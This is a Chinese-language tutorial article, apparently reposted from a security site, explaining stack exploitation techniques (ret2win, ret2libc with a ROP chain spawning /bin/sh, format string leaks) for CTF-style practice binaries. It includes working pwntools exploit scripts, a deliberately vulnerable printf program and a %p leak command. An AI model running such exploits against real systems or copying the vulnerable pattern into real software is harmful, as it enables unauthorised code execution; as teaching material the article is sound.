二进制代码利用是发现和利用计算机程序中的漏洞以修改或干扰其预期行为的一种方法。这些漏洞可能导致身份验证绕过和信息泄漏,或者还可能导致远程代码执行情形。很大一部分二进制代码利用发生在堆栈(stack)上,有时候发生在堆(heap)上,甚至发生在内核空间上。堆栈是存储由函数创建的临时变量的内存区域。相比之下,堆则是可以动态分配的内存区域。
下面介绍的所有技术都依赖用户输入和程序的潜在崩溃或分段错误——缓冲区溢出。当进程试图用超出预期的过多数据填充一块内存区域时,就会出现这种损坏。有鉴于此,就有可能覆盖内存,并控制下一个指令点/函数。
接下来,我们将描述堆栈利用过程中一些最常用的技术。
我们可以将ret2win技术理解为对二进制代码中存在的特定调用«win() function»的简单重定向。实现这一目标的主要步骤如下:
• 找到目标函数/调用,以重定向执行流«win() function»。
• 通过覆盖堆栈上的返回地址(比如EIP)来调用它。
下一段代码介绍如何找到这类漏洞。在添加填充和对齐载荷之后,必须添加目标调用«win() function - 0x080491c3»的偏移量,最后执行它。本文使用了用于二进制利用的CTF框架Pwntools(https://github.com/Gallopsled/pwntools),为学习过程提供便利。
from pwn import *
p = process('./vuln_program')
payload = b'A' * 52
payload += p32(0x080491c3) #target call «win() function»
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
有了这种技术,就可以在程序执行期间跳转到所需的函数,从而绕过应用程序控制措施。
关于这个主题的更多细节可以在这里找到:https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。
ret2libc是一种技术,其中重定向流基于到libc调用的面向返回的编程(ROP)链。这种方法对于绕过一些二进制代码保护(比如NX即无执行)很重要,在Windows操作系统中又称为数据执行预防(DEP)。
在二进制代码被利用的操作系统上找到libc的内存区域之后,必须基于libc的基址计算一些函数(包括系统调用)的实际地址。系统调用执行作为参数传递的任何字符串。传递给系统调用的最佳字符串是“/bin/sh”,这显然会弹出新的系统shell。
下面是表示这种探索的代码片段。正如我们所见,libc基址高亮显示为0x7ffff7de5000,并用于计算二进制内存区域内的system和/bin/sh字符串。
之后执行ROP链,它因二进制漏洞、目标操作系统、架构及其他外部变量而异。
from pwn import *
p = process('./vuln-64')
libc_base = 0x7ffff7de5000 #libc base address needed
system = libc_base + 0x48e20 # address of system call
binsh = libc_base + 0x18a143 # binsh string to pop a shell
POP_RDI = 0x4011cb
payload = b'A' * 72 # The padding
payload += p64(POP_RDI) # gadget -> pop rdi; ret
payload += p64(binsh) # pointer to command: /bin/sh
payload += p64(system) # Location of system
payload += p64(0x0) # return pointer - not important once we get the shell
p.clean()
p.sendline(payload)
p.interactive()
关于该技术的更多细节以及如何探索它,可以在这里找到:https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。
格式字符串技术在每当将用户输入字符串作为命令来评估时都会发生。这种技术可用于执行代码、泄漏堆栈,甚至导致分段错误情形。
比如说,格式字符串参数%x和%s定义了格式函数的转换类型。针对诸如此类的输入,可能会泄露内存部分信息,这种方法还可以与上述的ret2lic一起使用。
下表给出了经常用于这种攻击中的一些格式函数。
看看下一段C代码,print函数易受攻击,因为默认情况下参数函数(%p和%s等)并未指定。因此,用户可以在输入中指定它,从而充分利用这个二进制利用场景。
#include
void main(int argc, char **argv)
{
// This line is vulnerable, no parameter specified (%p,%s, etc)
printf(argv[1]);
}
在使用一堆%p执行程序后,堆栈地址将被泄漏,并且可以轻松找到执行ret2lic方法的lib基址。
./example "Hello World %p %p %p %p %p %p"
=> output: Hello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC
关于该技术的更多细节可以在这里找到:https://owasp.org/www-community/attacks/Format_string_attack。
二进制代码利用是渗透测试界利用内存不安全程序的最先进的攻击之一。由于二进制代码本身、保护机制以及它如何与不同的操作系统和多种架构进行交互具有复杂性,学习起来可能令人望而生畏。
文章来源:嘶吼专业版
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END